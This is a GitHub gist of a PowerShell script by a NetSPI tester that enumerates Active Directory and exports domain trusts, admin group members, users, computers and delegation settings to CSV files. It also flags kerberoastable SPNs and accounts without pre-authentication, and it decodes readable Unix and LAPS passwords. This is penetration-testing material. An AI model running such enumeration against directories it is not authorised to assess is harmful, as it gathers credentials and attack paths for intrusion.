Created
April 26, 2021 21:21
-
-
Save nullbind/fc3d26ae65b5ca8ed617b0e531ffc9bc to your computer and use it in GitHub Desktop.
Get-DomainInfoADPS
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ------------------------------------------- | |
# Function: Get-DomainInfoADPS | |
# Author: Scott Sutherland (@_nullbind), NetSPI | |
# Version: 1.7 | |
# This script can be used to dump interesting | |
# information from Active Directory. | |
# This function requires the Active Directory | |
# PowerShell Module, but the script supports | |
# loading it from bytes in the file. | |
# Things that would be nice to have: | |
# - Dump the kerb tickets. | |
# - Add consumable finding output. | |
# - Add dump local admin list and associated systems | |
# - Add dump of gpo linked to domain | |
# - Add dump of gpo link to sites | |
# - Add foreign users and groups | |
# - Add download options for netlogon,GPP,GPO | |
# - Add support for ldap options | |
# - Bake in the ad ps module | |
# Command Example from domain system: Get-DomainInfoADPS | |
# Command Example from non domain system: Get-DomainInfoADPS -Server 192.168.1.1 -Username domain\user -Password 'MyPassword!' | |
# Command Example from non domain system: Get-DomainInfoADPS -Server 192.168.1.1 -Username domain\user -Password 'MyPassword!' -LoadAdPsModule | |
# ------------------------------------------- | |
function Get-DomainInfoADPS | |
{ | |
[CmdletBinding()] | |
Param( | |
[Parameter(Mandatory=$false, | |
HelpMessage="Domain user to authenticate with domain\user.")] | |
[string]$username, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Domain password to authenticate with domain\user.")] | |
[string]$password, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Credentials to use when connecting to a Domain Controller.")] | |
[System.Management.Automation.PSCredential] | |
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Domain controller for Domain and Site that you want to query against.")] | |
[string]$Server, | |
[Parameter(Mandatory=$false, | |
HelpMessage="LDAP Filter.")] | |
[string]$LdapFilter = "", | |
[Parameter(Mandatory=$false, | |
HelpMessage="LDAP path.")] | |
[string]$LdapPath, | |
[Parameter(Mandatory=$false, | |
HelpMessage="Maximum number of Objects to pull from AD, limit is 1,000 .")] | |
[int]$Limit = 1000, | |
[Parameter(Mandatory=$false, | |
HelpMessage="scope of a search as either a base, one-level, or subtree search, default is subtree.")] | |
[ValidateSet("Subtree","OneLevel","Base")] | |
[string]$SearchScope = "Subtree", | |
[Parameter(Mandatory=$false, | |
HelpMessage="Load the Active Directory PowerShell module from the bytes in the script.")] | |
[switch]$LoadAdPsModule | |
) | |
Begin | |
{ | |
Write-Output "--------------------------------------------" | |
Write-Output " -=( Get-DomainInfoADPS )=- " | |
Write-Output "--------------------------------------------" | |
Write-Output "Author: Scott Sutherland(@_nullbind), NetSPI" | |
Write-Output " " | |
# Load Active Directory PowerShell Module (if needed) | |
if ((Get-Module -ListAvailable | where { $_.Name -eq "ActiveDirectory" }).count -eq 0){ | |
if($LoadAdPsModule){ | |
# Import the AD PS module from bytes in file | |
try{ Import-ADPSModule } | |
catch {Write-Output "Import of Active Directory module from bytes failed.";break} | |
}else{ | |
# Import the AD PS module | |
Import-Module ActiveDirectory | |
} | |
if ((Get-Module -ListAvailable | where { $_.Name -eq "ActiveDirectory" }).count -eq 0){ | |
Write-Output "Active Directory PowerShell module not found." | |
Write-Output "Aborting." | |
return | |
}else{ | |
Write-Output "Active Directory PowerShell module imported successfully." | |
} | |
}else{ | |
Write-Output "Active Directory PowerShell module was found loaded." | |
} | |
# Create PS Credential object | |
if($Password){ | |
$secpass = ConvertTo-SecureString $Password -AsPlainText -Force | |
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $secpass) | |
} | |
# Get the current path | |
$CurrentPath = pwd | select path -ExpandProperty path | |
# Check for provide DC and Credentials | |
if($username -and $password){ | |
# Create randomish name for dynamic mount point | |
$set = "abcdefghijklmnopqrstuvwxyz".ToCharArray(); | |
$result += $set | Get-Random -Count 10 | |
$DriveName = [String]::Join("",$result) | |
# Map a temp drive to the DC | |
Write-Output "Connecting to $Server as $username..." | |
If ($Credential.UserName){ | |
# Mount the drive | |
try{ New-PSDrive -PSProvider ActiveDirectory -Name "$DriveName" -Root "" -Credential $Credential -Server $Server -ErrorAction Stop | Out-Null } | |
catch{ Write-Output "Authenticating to $Server as $username failed.";break} | |
} | |
# Change directory to AD PS Drive | |
$DrivePath = $DriveName + ':' | |
cd $DrivePath | |
} | |
} | |
Process | |
{ | |
Write-Output "Getting basic domain Information..." | |
$AdDomain = Get-AdDomain | Select DNSRoot -ExpandProperty DNSRoot | |
$CurrentPath = pwd | select path -ExpandProperty path | |
Write-Output " - Domain: $AdDomain" | |
Write-Output " - Path: $CurrentPath\$AdDomain" | |
if (Test-Path "$CurrentPath\$AdDomain"){ | |
Write-Output " - The output directory `"$AdDomain`" already exists. Aborting." | |
cd $CurrentPath | |
break | |
}else{ | |
mkdir "$CurrentPath\$AdDomain" | Out-Null | |
} | |
# Get Domains | |
# Get-AdDomain - provides more information | |
Get-AdDomain | Select Forest, DomainSID, Name, NetBIOSName, DistinguishedName, DNSRoot, ParentDomain | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Domain.csv" | |
# Get Forests | |
# Get-AdForest - provides more information | |
Get-AdForest | select Name,RootDomain,SchemaMaster,ForestMode | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Domain-Forest.csv" | |
$Forest_RootDomain = Get-AdForest | select RootDomain -ExpandProperty RootDomain | |
# Get Domain Trusts | |
$Domain_Trusts = Get-AdTrust -Filter * -Properties * | |
$Domain_Trusts_C = $Domain_Trusts | measure | select count -ExpandProperty count | |
Write-Output " - Found $Domain_Trusts_C trusts" | |
$Domain_Trusts | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Domain-Trusts.csv" | |
# Get Domain controllers | |
$Domain_Controllers = Get-ADDomainController -Filter * | |
$Domain_Controllers_C = $Domain_Controllers | measure | select count -ExpandProperty count | |
Write-Output " - Found $Domain_Controllers_C domain controllers" | |
$Domain_Controllers | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-DCs.csv" | |
# Get sites | |
$Sites = $Domain_Controllers | Select site -Unique | |
$Sites | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Domain-Sites.csv" | |
$Sites_C = $Sites | measure | select count -ExpandProperty count | |
Write-Output " - Found $Sites_C sites" | |
# Get subnets | |
$Subnets = Get-ADReplicationSubnet -filter * -Properties * | Select Name, Site, Location, Description | |
$Subnets | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Domain-Subnets.csv" | |
$Subnets_c = $Subnets | measure | select count -ExpandProperty count | |
Write-Output " - Found $Subnets_c subnets" | |
# Grab Account Policy | |
Get-ADDefaultDomainPasswordPolicy | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Account-Policy.csv" | |
Write-Output " - Found account policy" | |
# ------------------------------------------------ | |
# Group Targets | |
# ------------------------------------------------ | |
Write-Output "Getting Group Information..." | |
$GetGroups = Get-AdGroup -Properties * -Filter * | |
$Groups = $GetGroups | Select SamAccountName,SID,Name,CanonicalName,CN,DistinguishedName,DisplayName,ObjectGUID,ObjectCategory,Created,CreateTimeStamp,whenChanged,whenCreated,Description,GroupScope,isCriticalSystemObject,adminCount,ProtectedFromAccidentalDeletion | |
$Groups | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Groups-All.csv" | |
$Groups_C = $Groups | measure | select count -ExpandProperty count | |
Write-Output " - Found $Groups_C groups" | |
# Check for protected groups | |
$GroupsProtected = $Groups | Where-Object adminCount -eq 1 | |
$GroupsProtected | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Groups-Protected.csv" | |
$GroupsProtected_C = $GroupsProtected | measure | select count -ExpandProperty count | |
Write-Output " - Found $GroupsProtected_C groups with adminCount of 1 (Protected)" | |
# Get senstive group members | |
$GroupList = @("Enterprise Admins","Domain Admins","DNSAdmins") | |
$GroupList | | |
ForEach-Object { | |
$CurrentGroup = $_ | |
$CurrentGroup2 = $CurrentGroup -replace '\s','' | |
$GroupMembers = Get-ADGroupMember -Identity "$CurrentGroup" -Recursive | |
$GroupMembers | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Groups-$CurrentGroup2.csv" | |
$GroupMembers_C = ($GroupMembers | Measure) | measure | select count -ExpandProperty count | |
Write-Output " - Found $GroupMembers_C users in $_" | |
} | |
# ------------------------------------------------ | |
# User Targets | |
# ------------------------------------------------ | |
Write-Output "Getting User Information..." | |
# Get all domain users and properties | |
$DomainUsersALL = Get-AdUser -Filter * -Properties * | |
$DomainUsers = $DomainUsersALL | Select SamAccountName,UserPrincipalName,GivenName,Surname,SID,Name,CanonicalName,CN,DistinguishedName,DisplayName,EmailAddress,mail,mailNickname,Fax,EmployeeNumber,State,StreetAddress,Manager,mDBUseDefaults,Created,CreateTimeStamp,Modified,whenChanged,whenCreated,ScriptPath,HomeDirectory,HomeDrive,homeMDB,HomePhone,Initials,msExchALObjectVersion,msExchHomeServerName,msExchRBACPolicyLink,msExchWhenMailboxCreated,msTSLicenseVersion,OfficePhone,Office,Organization,isCriticalSystemObject,Title,TrustedForDelegation,TrustedToAuthForDelegation,UseDESKeyOnly,Description,Department,Division,Company,AccountLockoutTime,adminCount,AllowReversiblePasswordEncryption,BadLogonCount,badPwdCount,CannotChangePassword,LastBadPasswordAttempt,LastLogonDate,LockedOut,legacyExchangeDN,logonCount,LogonWorkstations,PasswordExpired,PasswordNeverExpires,PasswordNotRequired,PostalCode,primaryGroupID,ProtectedFromAccidentalDeletion,Enabled,ServicePrincipalNames,DoesNotRequirePreAuth | |
$DomainUsers | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-All.csv" | |
$DomainUsers_C = $DomainUsers | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_C domain users " | |
# Get domain users that are enabled | |
$DomainUsers_Enabled = $DomainUsers | Where-Object Enabled -like “true” | |
$DomainUsers_Enabled | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Enabled.csv" | |
$DomainUsers_Enabled_C = $DomainUsers_Enabled | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Enabled_C users enabled" | |
# Get domain users that are disabled | |
$DomainUsers_Disabled = $DomainUsers | Where-Object Enabled -like “false” | |
$DomainUsers_Disabled | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Disabled.csv" | |
$DomainUsers_Disabled_C = $DomainUsers_Disabled | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Disabled_C users Disabled" | |
# Get domain users that are locked | |
$DomainUsers_Locked = Get-ADObject -LDAPFilter ‘(&(sAMAccountType=805306368)(lockoutTime>=1))’ | |
$DomainUsers_Locked | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Locked.csv" | |
$DomainUsers_Locked_C = $DomainUsers_Locked | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Locked_C users Locked" | |
# Get domain users that have the adminCount flag set (Meaning the are/were Domain Admins) | |
$Domain_Users_Protected = $DomainUsers | Where-Object adminCount -eq 1 | |
$Domain_Users_Protected | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Protected.csv" | |
$Domain_Users_Protected_C = $Domain_Users_Protected | measure | select count -ExpandProperty count | |
Write-Output " - Found $Domain_Users_Protected_C users with adminCount of 1 (Protected)" | |
# Get domain users with a description that contains the keyword “pass” | |
$DomainUsers_Desc_Pass = $DomainUsers | Where-Object Description -like "*pass*“ | |
$DomainUsers_Desc_Pass| Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Desc-with-pass.csv" | |
$DomainUsers_Desc_Pass_C = $DomainUsers_Desc_Pass | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Desc_Pass_C users with `"pass`" in their description" | |
# Get all domain users allowed to stored passwords with reversible encryption | |
$DomainUsers_RevEnc = $DomainUsers | Where-Object AllowReversiblePasswordEncryption -like “true“ | |
$DomainUsers_RevEnc | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Allow-Rev-Enc.csv" | |
$DomainUsers_RevEnc_C = $DomainUsers_RevEnc | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_RevEnc_C users that store password with reversible encryption" | |
# Get domain users configured with different types of delegation - 1 | |
$DomainUsers_Trust4Del = $DomainUsers | Where-Object TrustedForDelegation -like “true” | |
$DomainUsers_Trust4Del | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-TrustedforDelegation.csv" | |
$DomainUsers_Trust4Del_C = $DomainUsers_Trust4Del | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Trust4Del_C users TrustedforDelegation" | |
# Get domain users configured with different types of delegation - 2 | |
$DomainUsers_Trust2Auth4Del = $DomainUsers | Where-Object TrustedToAuthForDelegation -like “true” | |
$DomainUsers_Trust2Auth4Del | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-TrustedToAuthForDelegation.csv" | |
$DomainUsers_Trust2Auth4Del_C = $DomainUsers_Trust2Auth4Del | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Trust2Auth4Del_C users TrustedToAuthForDelegation" | |
$DomainUsers_AllowedToDelegateto = $DomainUsersALL| Where-Object msds-allowedToDelegateto -notlike “” | |
$DomainUsers_AllowedToDelegateto | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-msDS-AllowedToDelegateto.csv" | |
$DomainUsers_AllowedToDelegateto_C = ($DomainUsers_AllowedToDelegateto | select samaccountname -ExpandProperty samaccountname) | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_AllowedToDelegateto_C users with msDS-AllowedToDelegateto configured" | |
$DomainUsers_AllowedToActOnBehalfOfOtherIdentity = $DomainUsersALL | Where-Object msDS-AllowedToActOnBehalfOfOtherIdentity -notlike “” | |
$DomainUsers_AllowedToActOnBehalfOfOtherIdentity | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-msDS-AllowedToActOnBehalfOfOtherIdentity.csv" | |
$DomainUsers_AllowedToActOnBehalfOfOtherIdentity_C = $DomainUsers_AllowedToActOnBehalfOfOtherIdentity | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Trust2Auth4Del_C users with AllowedToActOnBehalfOfOtherIdentity configured" | |
# Get domain users configured with different types of delegation - Parsed msDS-AllowedToDelegateto | |
$DomainUsersALL | Where-Object msds-allowedToDelegateto -notlike “” -ErrorAction SilentlyContinue | | |
ForEach-Object { | |
$SamAccountName = $_.samaccountname | |
$DelegationList = $_."msds-allowedToDelegateto" | |
$DelegationList | | |
ForEach-Object { | |
$DelegatedObject = New-Object PSObject | |
$DelegatedObject | add-member Noteproperty SamAccountName $samaccountname | |
$DelegatedObject | add-member Noteproperty msds-allowedToDelegateto $_ | |
$DelegatedObject | |
} | |
} | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-msDS-AllowedToDelegateto-Parsed.csv" | |
# Get domain users configured with different types of delegation - Parsed AllowedToActOnBehalfOfOtherIdentity | |
$DomainUsersAll | Where-Object AllowedToActOnBehalfOfOtherIdentity -notlike “” -ErrorAction SilentlyContinue | | |
ForEach-Object { | |
$SamAccountName = $_.samaccountname | |
$DelegationList = $_."AllowedToActOnBehalfOfOtherIdentity" | |
$DelegationList | | |
ForEach-Object { | |
$DelegatedObject = New-Object PSObject | |
$DelegatedObject | add-member Noteproperty SamAccountName $samaccountname | |
$DelegatedObject | add-member Noteproperty AllowedToActOnBehalfOfOtherIdentity $_ | |
$DelegatedObject | |
} | |
} | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-msDS-AllowedToActOnBehalfOfOtherIdentity-Parsed.csv" | |
# Get domain users with passwords the do not expire | |
$DomainUsers_NoPwExp = $DomainUsers | Where-Object PasswordNeverExpires -like “true” | |
$DomainUsers_NoPwExp | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-No-Pw-Expire.csv" | |
$DomainUsers_NoPwExp_C = $DomainUsers_NoPwExp | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_NoPwExp_C users with passwords that do not expire" | |
# Get domain users that do not require authentication | |
$DomainUsers_NoAuthReq = Get-ADObject -LDAPFilter ‘(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))’ | |
$DomainUsers_NoAuthReq | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-No-Auth-Req.csv" | |
$DomainUsers_NoAuthReq_C = $DomainUsers_NoAuthReq | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_NoAuthReq_C users that do not require authentication" | |
# Get domain users configured to use DES keys | |
$DomainUsers_DesKey = $DomainUsers | Where-Object UseDESKeyOnly -like “true” | |
$DomainUsers_DesKey | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-DesKey.csv" | |
$DomainUsers_DesKey_C = $DomainUsers_DesKey | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_DesKey_C users that use DES keys" | |
# Get domain users that with passwords that do not require Kerberos pre-authentication | |
$DomainUsers_NoPreAuthReq = $DomainUsers | Where-Object DoesNotRequirePreAuth -like “true” | |
$DomainUsers_NoPreAuthReq | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-No-Pre-Auth-Req.csv" | |
$DomainUsers_NoPreAuthReq_C = $DomainUsers_NoPreAuthReq | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_NoPreAuthReq_C users that do not require pre-auth" | |
# Get domain users storing a UnixUserPassword | |
$DomainUsers_UnixUserPassword = $DomainUsersALL | Where-Object UnixUserPassword -notlike "" | select samaccountname, description, UnixUserPassword | |
$UnixPWs = $DomainUsers_UnixUserPassword | | |
ForEach-Object{ | |
# Grab fields and decode password | |
$SamAccountName = $_.samaccountname | |
$Description = $_.description | |
$UnixUserPasswordEnc = $_.UnixUserPassword | ForEach-Object {$_}; | |
$UnixUserPassword = [System.Text.Encoding]::ASCII.GetString($UnixUserPasswordEnc) | |
# Create object to be returned | |
$UnixPasswords = New-Object PSObject | |
$UnixPasswords | add-member Noteproperty SamAccountName $SamAccountName | |
$UnixPasswords | add-member Noteproperty Description $Description | |
$UnixPasswords | add-member Noteproperty UnixUserPassword $UnixUserPassword | |
# Return object | |
$UnixPasswords | |
} | |
$UnixPWs | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-UnixUserPassword.csv" | |
$DomainUsers_UnixUserPassword_C = $DomainUsers_UnixUserPassword | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_UnixUserPassword_C users that have a readable Unix password" | |
# Get domain users with properties that contain the keyword “pass” | |
# update with this and cross add filter for user class | |
# This should be rewrittento accept a list of keywords | |
$DefaultProperties = @("AllowReversiblePasswordEncryption","badPasswordTime","CannotChangePassword","LastBadPasswordAttempt","PasswordExpired","PasswordLastSet","PasswordNeverExpires","PasswordNotRequired") | |
$DomainUsers_Prop_Pass = $DomainUsersALL | GM | Where-Object Name -like "*pass*“ | select name -ExpandProperty name | |
$DomainUsers_Prop_PassFilter = $DomainUsers_Prop_Pass | Where-Object {$DefaultProperties -notcontains "$_"} | |
$DomainUsers_Prop_PassFilter | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Props-with-Pass.csv" | |
$DomainUsers_Prop_Pass_C = $DomainUsers_Prop_PassFilter | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Prop_Pass_C non-default property names containing `"pass`"" | |
# Get domain users with properties that contain the keyword “key” | |
# This should be rewrittento accept a list of keywords | |
$DefaultProperties2 = @("UseDESKeyOnly") | |
$DomainUsers_Prop_Key = $DomainUsersAll | GM | Where-Object Name -like "*key*“ | select name -ExpandProperty name | |
$DomainUsers_Prop_KeyFilter = $DomainUsers_Prop_Key | Where-Object {$DefaultProperties2 -notcontains "$_"} | |
$DomainUsers_Prop_KeyFilter | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-Props-with-Key.csv" | |
$DomainUsers_Prop_Key_C = $DomainUsers_Key_PassFilter | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_Prop_Key_C non-default property names containing `"key`"" | |
# Get domain users used to run services on domain systems | |
# Should add group memberships too | |
Write-Output "Grabbing User SPN Information..." | |
$DomainUsers_SPNs = $DomainUsers | Where ServicePrincipalNames -notlike "" | Select name,samaccountname,description,Enabled,whenCreated,PasswordLastSet,PasswordNeverExpires,ServicePrincipalNames| | |
ForEach-Object { | |
# Get and create fields | |
$name = $_.name; | |
$samaccountname = $_.samaccountname; | |
$spns = $_.ServicePrincipalNames; | |
$Enabled = $_.Enabled; | |
$whencreated = $_.whenCreated | |
$PasswordLastSet = $_.PasswordLastSet | |
$Description = $_.description | |
$PasswordNeverExpires = $_.PasswordNeverExpires | |
$IsDA = (Get-ADGroupMember -Identity "Domain Admins" -Recursive | Where-Object samaccountname -like "$samaccountname" | Measure-Object) | measure | select count -ExpandProperty count | |
$IsEA = (Get-ADGroupMember -Identity "Enterprise Admins" -Recursive | Where-Object samaccountname -like "$samaccountname" | Measure-Object) | measure | select count -ExpandProperty count | |
$spns | | |
# Parse SPNs and display results | |
ForEach-Object { | |
$SPNObject = New-Object PSObject | |
$SPNObject | add-member Noteproperty Name $name | |
$SPNObject | add-member Noteproperty SamAccountName $samaccountname | |
$SPNObject | add-member Noteproperty Enabled $Enabled | |
$SPNObject | add-member Noteproperty whenCreated $whenCreated | |
$SPNObject | add-member Noteproperty PasswordLastSet $PasswordLastSet | |
$SPNObject | add-member Noteproperty PasswordNeverExpires $PasswordNeverExpires | |
$SPNObject | add-member Noteproperty Description $Description | |
$SPNObject | add-member Noteproperty ServicePrincipalName $_ | |
$SPNObject | add-member Noteproperty IsDA $IsDA | |
$SPNObject | add-member Noteproperty IsEA $IsEA | |
$SPNObject | |
} | |
} | |
$DomainUsers_SPNs | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Users-SPNs.csv" | |
$DomainUsers_SPNs_C = $DomainUsers_SPNs | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainUsers_SPNs_C user SPNs" | |
# ------------------------------------------------ | |
# Computer Targets | |
# ------------------------------------------------ | |
Write-Output "Getting Computer Information..." | |
# Get domain computers | |
$DomainComputersALL = Get-ADComputer -Properties * -Filter * | |
$DomainComputers = $DomainComputersALL | select SamAccountName,Name,AccountExpirationDate,AccountLockoutTime,AccountNotDelegated,AllowReversiblePasswordEncryption,BadLogonCount,CannotChangePassword,CanonicalName,CN,Created,createTimeStamp,Deleted,Description,DisplayName,DistinguishedName,DNSHostName,DoesNotRequirePreAuth,Enabled,HomedirRequired,HomePage,IPv4Address,IPv6Address,isCriticalSystemObject,isDeleted,LastLogonDate,localPolicyFlags,Location,LockedOut,logonCount,ManagedBy,MNSLogonAccount,Modified,modifyTimeStamp,msDS-SupportedEncryptionTypes,msDS-User-Account-Control-Computed,OperatingSystem,OperatingSystemHotfix,OperatingSystemServicePack,OperatingSystemVersion,PasswordExpired,PasswordLastSet,PasswordNeverExpires,PrimaryGroup,primaryGroupID,ProtectedFromAccidentalDeletion,sDRightsEffective,SID,TrustedForDelegation,TrustedToAuthForDelegation,UseDESKeyOnly,userAccountControl,whenChanged,whenCreated,ServicePrincipalNames | |
$DomainComputers_C = $DomainComputers | measure | select count -ExpandProperty count | |
$DomainComputers | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers.csv" | |
Write-Output " - Found $DomainComputers_C computers in the domain" | |
# Get enabled computers | |
$Enabled = $DomainComputers | Where-Object Enabled -like "True“ | |
$Enabled_c = $Enabled | measure | select count -ExpandProperty count | |
$Enabled | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-Enabled.csv" | |
Write-Output " - Found $Enabled_c computers enabled" | |
# Get disabled computers | |
$Disabled = $DomainComputers | Where-Object Enabled -like “false" | |
$Disabled_C = $Disabled | measure | select count -ExpandProperty count | |
$Disabled | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-Disabled.csv" | |
Write-Output " - Found $Disabled_C computers disabled" | |
# Get dfs | |
$DFS = Get-ADObject -LDAPFilter "(&(objectClass=fTDfs))" | |
$DFS_C = $DFS | measure | select count -ExpandProperty count | |
$DFS | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-DFS.csv" | |
Write-Output " - Found $DFS_C computers with DFS" | |
# Get machine accounts with password older than (default is 30) | |
$SixtyDaysAgo = (Get-Date).AddDays(-45).ToFileTimeUtc() | |
$OldAccounts = Get-AdObject -LdapFilter "(&(sAMAccountType=805306369)(pwdlastset<=$SixtyDaysAgo))” | select name -ExpandProperty name | |
$Suspect = $DomainComputers | Where-Object {$OldAccounts -contains $_.name} | Where-Object Enabled -like “true” | select samaccountname, description, Enabled, Created,LastLogonDate, OperatingSystem | |
$Suspect_C = $Suspect | measure | select count -ExpandProperty count | |
$Suspect | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-PwOlderThan45Days.csv" | |
Write-Output " - Found $Suspect_C computers enabled with a password older than 45 days" | |
# Check for readable LAPS passwords | |
$LAPS = $DomainComputers | Where-Object ms-MCS-AdmPwd -NotLike "" | |
$LAPS_C = $LAPS | measure | select count -ExpandProperty count | |
$LAPS | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-LAPS.csv" | |
Write-Output " - Found $LAPS_C computers with readable LAPS passwords" | |
# Get domain Computers configured with different types of delegation - 1 | |
$DomainComputers_Trust4Del = $DomainComputers | Where-Object TrustedForDelegation -like “true” | |
$DomainComputers_Trust4Del | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-TrustedforDelegation.csv" | |
$DomainComputers_Trust4Del_C = $DomainComputers_Trust4Del | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_Trust4Del_C Computers TrustedforDelegation" | |
# Get domain Computers configured with different types of delegation - 2 | |
$DomainComputers_Trust2Auth4Del = $DomainComputers | Where-Object TrustedToAuthForDelegation -like “true” | |
$DomainComputers_Trust2Auth4Del | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-TrustedToAuthForDelegation.csv" | |
$DomainComputers_Trust2Auth4Del_C = $DomainComputers_Trust2Auth4Del | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_Trust2Auth4Del_C Computers TrustedToAuthForDelegation" | |
$DomainComputers_AllowedToDelegateto = $DomainComputersALL| Where-Object msds-allowedToDelegateto -notlike “” | |
$DomainComputers_AllowedToDelegateto | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-msDS-AllowedToDelegateto.csv" | |
$DomainComputers_AllowedToDelegateto_C = ($DomainComputers_AllowedToDelegateto | select samaccountname -ExpandProperty samaccountname) | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_AllowedToDelegateto_C Computers with msDS-AllowedToDelegateto configured" | |
$DomainComputers_AllowedToActOnBehalfOfOtherIdentity = $DomainComputersALL | Where-Object msDS-AllowedToActOnBehalfOfOtherIdentity -notlike “” | |
$DomainComputers_AllowedToActOnBehalfOfOtherIdentity | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-msDS-AllowedToActOnBehalfOfOtherIdentity.csv" | |
$DomainComputers_AllowedToActOnBehalfOfOtherIdentity_C = $DomainComputers_AllowedToActOnBehalfOfOtherIdentity | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_AllowedToActOnBehalfOfOtherIdentity_C Computers with AllowedToActOnBehalfOfOtherIdentity configured" | |
# Get domain computers with properties that contain the keyword “pass” | |
# This should be rewritten to accept a list of keywords | |
$DefaultProperties = @("AllowReversiblePasswordEncryption","badPasswordTime","CannotChangePassword","LastBadPasswordAttempt","PasswordExpired","PasswordLastSet","PasswordNeverExpires","PasswordNotRequired") | |
$DomainComputers_Prop_Pass = $DomainComputersAll | GM | Where-Object Name -like "*pass*“ | select name -ExpandProperty name | |
$DomainComputers_Prop_PassFilter = $DomainComputers_Prop_Pass | Where-Object {$DefaultProperties -notcontains "$_"} | |
$DomainComputers_Prop_PassFilter | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-Props-with-Pass.csv" | |
$DomainComputers_Prop_Pass_C = $DomainComputers_Prop_PassFilter | measure | select count -ExpandProperty count | |
Write-Output " - Found $DomainComputers_Prop_Pass_C non-default property names containing `"pass`"" | |
# Get domain Computers with properties that contain the keyword “key” | |
# This should be rewritten to accept a list of keywords | |
$DefaultProperties2 = @("UseDESKeyOnly") | |
$DomainComputers_Prop_Key = $DomainComputersALL | GM | Where-Object Name -like "*key*“ | select name -ExpandProperty name | |
$DomainComputers_Prop_KeyFilter = $DomainComputers_Prop_Key | Where-Object {$DefaultProperties2 -notcontains "$_"} | |
$DomainComputers_Prop_KeyFilter | Export-Csv -NoTypeInformation "$CurrentPath\$AdDomain\$AdDomain-Computers-Props-with-Key.csv" | |
